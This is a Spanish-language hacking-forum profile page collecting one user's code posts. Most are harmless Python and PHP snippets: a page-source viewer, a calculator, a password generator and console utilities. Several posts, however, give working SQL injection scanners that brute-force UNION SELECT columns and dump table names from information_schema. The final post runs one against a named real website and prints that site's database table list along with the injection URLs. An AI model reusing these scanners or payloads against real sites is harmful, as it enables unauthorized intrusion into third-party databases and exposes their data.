Es un code muy windows...
Además que utilizas herramientas externas "NirCmd"
Además que utilizas herramientas externas "NirCmd"

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúNo tienes permitido ver enlaces. Registrate o Entra a tu cuentaEn PHP sería tambien sencillo con file_get_contents();
esta muy bien,yo hice uno en php,que esta online
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
# -*- coding: utf-8 -*-
import sys, urllib2
from PyQt4 import QtCore, QtGui
class view_source(QtGui.QWidget):
def __init__(self, parent=None):
QtGui.QWidget.__init__(self,parent)
self.resize(466, 407)
self.vercode = QtGui.QPushButton("View Source",self)
self.vercode.setGeometry(200, 380, 105, 24)
self.http_host = QtGui.QLineEdit(self)
self.http_host.setGeometry(90, 10, 371, 25)
self.http_host.setEchoMode(QtGui.QLineEdit.Normal)
self.url = QtGui.QLabel("Host / URL",self)
self.url.setGeometry(20, 17, 71, 16)
self.viewcode = QtGui.QLabel("View Source",self)
self.viewcode.setGeometry(10, 35, 121, 16)
self.code = QtGui.QPlainTextEdit(self)
self.code.setGeometry(0, 50, 461, 331)
self.code.setFrameShadow(QtGui.QFrame.Raised)
self.setWindowTitle("View Source - JaAViEr")
self.connect(self.vercode,QtCore.SIGNAL("clicked()"),self.vista_code)
def vista_code(self):
pagina=urllib2.urlopen(str(self.http_host.text()))
self.code.setPlainText(pagina.read())
aplicacion=QtGui.QApplication(sys.argv)
view=view_source()
view.show()
aplicacion.exec_()
No tienes permitido ver enlaces. Registrate o Entra a tu cuentaJajaja Gracias
Muy bueno Javier, pero como te dije por MSN, deja de robarme las ideas
Saludos y felicitaciones!
No tienes permitido ver enlaces. Registrate o Entra a tu cuentaThanks, habría que editar los setGeometry y el resize nada más.
interesante el codigo, si me permites una sugerencia recomendaría agrandar un poquito la interfaz grafica.
saludos.
# -*- coding: utf-8 -*-
import sys
from PyQt4 import QtCore, QtGui
class calculadora(QtGui.QWidget):
def __init__(self, parent=None):
QtGui.QWidget.__init__(self, parent)
self.setWindowTitle("Calculadora")
self.resize(119, 145)
self.temp=""
self.igual = QtGui.QPushButton("=",self)
self.igual.setGeometry(90, 120, 31, 24)
self.multiplica = QtGui.QPushButton("*",self)
self.multiplica.setGeometry(0, 120, 31, 24)
self.connect(self.multiplica,QtCore.SIGNAL("clicked()"),self.multiplicar)
self.clean = QtGui.QPushButton("AC",self)
self.clean.setGeometry(30, 120, 31, 24)
self.connect(self.clean,QtCore.SIGNAL("clicked()"),self.clear)
self.divide = QtGui.QPushButton("/",self)
self.connect(self.divide,QtCore.SIGNAL("clicked()"),self.dividir)
self.divide.setGeometry(0, 90, 31, 24)
self.connect(self.igual,QtCore.SIGNAL("clicked()"),self.resultado)
self.resta = QtGui.QPushButton("-",self)
self.resta.setGeometry(0, 60, 31, 24)
self.connect(self.resta,QtCore.SIGNAL("clicked()"),self.restar)
self.suma = QtGui.QPushButton("+",self)
self.suma.setGeometry(0, 30, 31, 24)
self.connect(self.suma,QtCore.SIGNAL("clicked()"),self.sumar)
self.lineEdit = QtGui.QLineEdit(self)
self.lineEdit.setGeometry(QtCore.QRect(0, 0, 121, 25))
self.uno = QtGui.QPushButton("1",self)
self.connect(self.uno,QtCore.SIGNAL("clicked()"),self.inu)
self.uno.setGeometry(QtCore.QRect(30, 30, 31, 24))
self.dos = QtGui.QPushButton("2",self)
self.connect(self.dos,QtCore.SIGNAL("clicked()"),self.ind)
self.dos.setGeometry(QtCore.QRect(60, 30, 31, 24))
self.tres = QtGui.QPushButton("3",self)
self.connect(self.tres,QtCore.SIGNAL("clicked()"),self.intr)
self.tres.setGeometry(QtCore.QRect(90, 30, 31, 24))
self.cuatro = QtGui.QPushButton("4",self)
self.connect(self.cuatro,QtCore.SIGNAL("clicked()"),self.inc)
self.cuatro.setGeometry(QtCore.QRect(30, 60, 31, 24))
self.cinco = QtGui.QPushButton("5",self)
self.connect(self.cinco,QtCore.SIGNAL("clicked()"),self.inci)
self.cinco.setGeometry(QtCore.QRect(60, 60, 31, 24))
self.seis = QtGui.QPushButton("6",self)
self.connect(self.seis,QtCore.SIGNAL("clicked()"),self.ins)
self.seis.setGeometry(QtCore.QRect(90, 60, 31, 24))
self.nueve = QtGui.QPushButton("9",self)
self.connect(self.nueve,QtCore.SIGNAL("clicked()"),self.inn)
self.nueve.setGeometry(QtCore.QRect(90, 90, 31, 24))
self.ocho = QtGui.QPushButton("8",self)
self.connect(self.ocho,QtCore.SIGNAL("clicked()"),self.ino)
self.ocho.setGeometry(QtCore.QRect(60, 90, 31, 24))
self.siete = QtGui.QPushButton("7",self)
self.connect(self.siete,QtCore.SIGNAL("clicked()"),self.insi)
self.siete.setGeometry(QtCore.QRect(30, 90, 31, 24))
self.cero = QtGui.QPushButton("0",self)
self.cero.setGeometry(QtCore.QRect(60, 120, 31, 24))
self.connect(self.cero,QtCore.SIGNAL("clicked()"),self.ince)
def clear(self):
self.temp=""
self.lineEdit.setText("")
def restar(self):
self.temp+="-"
self.lineEdit.setText(self.temp)
def dividir(self):
self.temp+="/"
self.lineEdit.setText(self.temp)
def multiplicar(self):
self.temp+="*"
self.lineEdit.setText(self.temp)
def sumar(self):
self.temp+="+"
self.lineEdit.setText(self.temp)
def resultado(self):
if len(self.temp)>0:
final=eval(self.temp)
self.lineEdit.setText(str(final))
self.temp=str(final)
else:
final=eval(str(self.lineEdit.text()))
print final
self.lineEdit.setText(str(final))
self.temp=str(final)
def inu(self):
self.temp+="1"
self.lineEdit.setText(self.temp)
def ind(self):
self.temp+="2"
self.lineEdit.setText(self.temp)
def intr(self):
self.temp+="3"
self.lineEdit.setText(self.temp)
def inc(self):
self.temp+="4"
self.lineEdit.setText(self.temp)
def inci(self):
self.temp+="5"
self.lineEdit.setText(self.temp)
def ins(self):
self.temp+="6"
self.lineEdit.setText(self.temp)
def insi(self):
self.temp+="7"
self.lineEdit.setText(self.temp)
def ino(self):
self.temp+="8"
self.lineEdit.setText(self.temp)
def inn(self):
self.temp+="9"
self.lineEdit.setText(self.temp)
def ince(self):
self.temp+="0"
self.lineEdit.setText(self.temp)
calc=QtGui.QApplication(sys.argv)
dialogo=calculadora()
dialogo.show()
calc.exec_()
# -*- coding: utf-8 -*-
import sys,urllib2
from PyQt4 import QtCore, QtGui
class mensaje(QtGui.QWidget):
def __init__(self, parent=None):
QtGui.QWidget.__init__(self,parent)
self.resize(400, 200)
self.error = QtGui.QLineEdit('',self)
self.setWindowTitle("SQLi Searcher JaAViEr")
self.error.setGeometry(QtCore.QRect(40, 40, 113, 25))
self.msjerror=QtGui.QLabel('Error:',self)
self.msjerror.setGeometry(0, 47, 41, 16)
self.pagina = QtGui.QLineEdit('http://',self)
self.pagina.setGeometry(40, 10, 291, 25)
self.textourl=QtGui.QLabel('URL:',self)
self.textourl.setGeometry(10, 16, 31, 16)
self.search = QtGui.QPushButton('Buscar!',self)
self.search.setGeometry(330, 10, 61, 24)
self.salida = QtGui.QTextBrowser(self)
self.salida.setGeometry(0, 70, 381, 121)
self.connect(self.search,QtCore.SIGNAL("clicked()"),self.scan)
def scan(self):
self.salida.setHtml('<b>Buscando...<br /></b>')
stx=""
i=0
injx=""
while 1:
stx=stx+"%s,"%i
w=urllib2.urlopen("%s-1+union+all+select+%s"%(str(self.pagina.text()),stx[:-1]))
if str(self.error.text()) in w.read().lower():
print "."
else:
injx=stx[:-1]
self.salida.setHtml('<font color=red><b>Encontrado!<br />-1+union+all+select+%s</b>'%injx)
break;
i+=1
test=QtGui.QApplication(sys.argv)
tooltip=mensaje()
tooltip.show()
test.exec_()
No tienes permitido ver enlaces. Registrate o Entra a tu cuentaClaro, si te refieres a que está en Python.
No pasa nada, puedes sustituir eregi() por strpos o usar preg_match.
Saludos y espero ver el source mejorado.
Pd: Recuerda que una herramienta no es buena por la cantidad de lenguaje que esta programada.
No tienes permitido ver enlaces. Registrate o Entra a tu cuentaThanks you.
Buenas @JaAVIEr, no es por nada pero tienes que agregarle mas ganas.
Solo tiene dos formas para detectar que es una vulnerable a SQLI y eso que muchas veces no dan errores.
Si no detecta SQLI, se ejecuta un bucle infinito que al final te estas auto-dosseando.
Tambien estas utilizando funciones obsoletas como No tienes permitido ver enlaces. Registrate o Entra a tu cuenta y el código se puede optimizar mucho mas.
Tienes que tratar de optimizar los códigos, principalmente lo que están dentro de un bucle...
<title>Generador de claves - JaAViEr</title>
<b><u>Instrucciones de uso</u>:<br />
Seleccione el tipo de clave a generar, luego indique la longitud de la clave y presione el boton. La longitud máxima es de 36 carácteres.</b><br />
<form action="" method=post>
Tipo de Clave:<br />
<select name="tipoclave">
<option value="let">Letras</option>
<option value="num">Numeros</option>
<option value="alfa">Letras y Numeros</option>
</select><br />
Longitud:<input name=longitud><br/>
<input type=submit><br />
<?php
$letras="abcdefghijklmnopqrstuvwxyz";
$numeros="0123456789";
$longitud=$_REQUEST['longitud'];
if($longitud==NULL){
exit;
}
if(!is_numeric($longitud) || $longitud>36 || $longitud==0){
echo "Longitud incorrecta!";
exit;
}
if($_REQUEST['tipoclave']=="alfa"){
$pass=str_shuffle("$letras$numeros");
echo "Clave Generada:".substr($pass,0,$longitud);
}
elseif($_REQUEST['tipoclave']=="let"){
$pass=str_shuffle("$letras");
echo "Clave generada:".substr($pass,0,$longitud);
}
elseif($_REQUEST['tipoclave']=="num"){
$pass=str_shuffle("$numeros");
echo "Clave Generada:".substr($pass,0,$longitud);
}
?>
<form action=? method=post>
URL:<input name=url><br/>
<input type=SUBMIT><br />
<?php
$url=$_REQUEST['url'];
if($url==NULL){exit;}
$temp="-1+union+all+select+";$i=1;
for(;;){
$temp.="$i,";
$injection=substr($temp,0,-1);
$c=file_get_contents("$url$injection");
if(!eregi("The used SELECT",$c) || !eregi("mysql_fetch",$c)){
echo "Injection encontrada <a href=$url$injection>VER !</a><br /><br />";
exit;
}
$i++;
}
?>
from ctypes import c_int, WINFUNCTYPE, windll
from ctypes.wintypes import HWND, LPCSTR, UINT
def cont():
var=MessageBox()
return var
prototype = WINFUNCTYPE(c_int, HWND, LPCSTR, LPCSTR, UINT)
paramflags = (1, "hwnd", 0), (0, "text", "Hola :"), (0, "caption", "Pregunta :"), (0, "flags", 1)
MessageBox = prototype(("MessageBoxA", windll.user32), paramflags)
print cont()
from ctypes import c_int, WINFUNCTYPE, windll
from ctypes.wintypes import HWND, LPCSTR, UINT
def cont():
var=MessageBox()
return var
prototype = WINFUNCTYPE(c_int, HWND, LPCSTR, LPCSTR, UINT)
paramflags = (1, "hwnd", 0), (0, "text", "Desea Continuar ?"), (0, "caption", "Pregunta :"), (0, "flags", 1)
MessageBox = prototype(("MessageBoxA", windll.user32), paramflags)
if cont()==1:
print "Bien, continuas"
else:
print "Bueno, adios!"
Menu de ayuda:
1.- Title : Cambia el titulo.
2.- Type : Visualizar un archivo - Windows
3.- Cat : Visualizar un archivo - Unix
4.- Strlen : Cuenta caracteres de una cadena.
5.- Exit : Salir.
import msvcrt, os, os.path
salida=""
ver=0
def ayuda():
clear()
print """
Menu de ayuda:
1.- Title : Cambia el titulo.
2.- Type : Visualizar un archivo - Windows
3.- Cat : Visualizar un archivo - Unix
4.- Strlen : Cuenta caracteres de una cadena.
5.- Exit : Salir."""
os.system("pause")
def direct():
if os.name == 'posix':
os.system('ls')
os.system("pause")
elif os.name == 'nt':
os.system('dir')
os.system("pause")
def title():
ver=0
titulox=""
while ver!=chr(13):
clear()
print "$Console-> title\nTitulo:%s"%titulox,
ver = msvcrt.getch()
titulox+=ver
if ver==chr(8):
titulox=titulox[:-2]
os.system("title %s"%titulox)
os.system("pause")
def clear():
if os.name == "posix":
os.system('clear')
elif os.name == "nt":
os.system('cls')
def typex():
if os.name == 'posix':
ver=0
viendo=""
while ver!=chr(13):
clear()
print "$Console-> cat\nArchivo:%s"%viendo
ver = msvcrt.getch()
viendo+=ver
if ver==chr(8):
viendo=viendo[:-2]
sal=os.path.isfile(viendo)
if sal==1:
os.system("cat %s"%viendo)
os.system("pause")
break
if os.name == 'nt':
ver=0
viendo=""
while ver!=chr(13):
clear()
print "$Console-> type\nArchivo:%s"%viendo
ver = msvcrt.getch()
viendo+=ver
if ver==chr(8):
if len(viendo)<=1:
viendo=viendo[:-1]
viendo=viendo[:-2]
sal=os.path.isfile(viendo)
if sal==1:
os.system("type %s"%viendo)
os.system("pause")
break
def strlen():
ver=0
viendo=""
fin=0
while ver!=chr(13):
clear()
print "$Console-> strlen\nString:%s"%viendo
print "Caracteres:", fin
ver = msvcrt.getch()
viendo+=ver
fin=len(viendo)
if ver==chr(8):
viendo=viendo[:-2]
os.system("Pause:")
salida=""
while 1:
clear()
print "Instant Console - JaAViEr 2011 \n\n$Console->",salida
char = msvcrt.getch()
salida+=char
if salida.lower()=='dir' or salida.lower()=='ls':
direct()
salida=""
elif salida.lower()=='help':
ayuda()
salida=""
elif salida.lower()=='strlen':
strlen()
salida=""
elif salida.lower()=='title':
title()
salida=""
elif salida.lower()=='exit':
clear()
break
salida=""
elif salida.lower()=='type' or salida.lower() == 'cat':
typex()
salida=""
elif char==chr(27):
break
elif char==chr(13):
salida=""
clear()
elif char==chr(8):
salida=salida[:-2]
No tienes permitido ver enlaces. Registrate o Entra a tu cuentaCon START lo puedes iniciar minimizado, maximizado y esas cosas. Con el AT programas la tarea.
OSEA CON EL START NO SE PUEDE HACER LO Q YO BUSCO ...IGUAL DE TODAS FORMAS GRASIAS...
i=[0]
x=raw_input("String:")
for d in range(len(x)):
i.append(x[d])
i.remove(0)
i.sort()
print "Menor a Mayor:"
for fin in i:
print fin,
print "\nMayor a Menor:"
i.reverse()
for final in i:
print final,
String:123
Menor a Mayor:
1 2 3
Mayor a Menor:
3 2 1
>>>
String:javier
Menor a Mayor:
a e i j r v
Mayor a Menor:
v r j i e a
v=[1]
i=1
print i
while 1:
f=v[i-2]+v[i-1]
i+=1
v.append(f)
print f
import urllib2
def search(i,xas,url,tipo):
count=1
for a in range(0,i+1):
injc=xas.replace("%s"%a ,"group_concat(table_name)")
injection="%s-1+union+all+select+%s+from+information_schema.tables--"%(url,injc)
y=urllib2.urlopen("%s"%injection)
log=open("log.txt","a")
if "character_sets" in y.read().lower():
print "Encontrados:%s"%count
log.write("Obtener Tablas:%s\n"%injection)
count+=1
x=urllib2.urlopen("%s"%injection)
url=x.read().split("CHARACTER_SETS")
nocoma=url[1].replace(",","\n")
noapos=nocoma.split('<')
print noapos[0]
log.close()
print "Terminado. Log guardado en log.txt"
stx=""
i=1
url=raw_input("URL:")
tipos=input("1.-The Used Select...\n2.-MySQL_Fetch...\n::>")
log=open("log.txt","w")
if tipos==1:
serch="the used select"
elif tipos==2:
serch="mysqli_fetch"
log.write("Url:%s\n"%url)
log.write("Tipo:%s\n"%serch)
print "Buscando..."
while 1:
stx=stx+"%s,"%i
w=urllib2.urlopen("%s-1+union+all+select+%s"%(url,stx[:-1]))
if serch in w.read().lower():
print ".",
else:
injx=stx[:-1]
fin="-1+union+all+select+%s"%injx
log.write("Primera Inyeccion:%s%s\n"%(url,fin))
log.close()
print "Segundo Paso..."
search(i,injx,url,serch)
break
i+=1
C:\Python27>sql.py
URL:http://www.ccsantaeulalia.com/noticia.php?id=
1.-The Used Select...
2.-MySQL_Fetch...
::>1
Buscando...
. . . Segundo Paso...
Encontrados:1
Encontrados:2
Encontrados:3
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
ARCHIVOSE
ARCHIVOSN
CLASE
DIAS
ENLACES
EQUIPO
EVENTOS
GALERIAS
IMAGENESEQUIPO
IMAGENESNOTICIAS
INSCRIPCIONES
MAILING
NOTICIAS
REGLAMENTO
TEXTOS
Terminado. Log guardado en log.txt
Url:http://www.ccsantaeulalia.com/noticia.php?id=
Tipo:the used select
Primera Inyeccion:http://www.ccsantaeulalia.com/noticia.php?id=-1+union+all+select+1,2,3,4
Obtener Tablas:http://www.ccsantaeulalia.com/noticia.php?id=-1+union+all+select+group_concat(table_name),2,3,4+from+information_schema.tables--
Obtener Tablas:http://www.ccsantaeulalia.com/noticia.php?id=-1+union+all+select+1,group_concat(table_name),3,4+from+information_schema.tables--
Obtener Tablas:http://www.ccsantaeulalia.com/noticia.php?id=-1+union+all+select+1,2,3,group_concat(table_name)+from+information_schema.tables--
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
ARCHIVOSE
ARCHIVOSN
CLASE
DIAS
ENLACES
EQUIPO
EVENTOS
GALERIAS
IMAGENESEQUIPO
IMAGENESNOTICIAS
INSCRIPCIONES
MAILING
NOTICIAS
REGLAMENTO
TEXTOS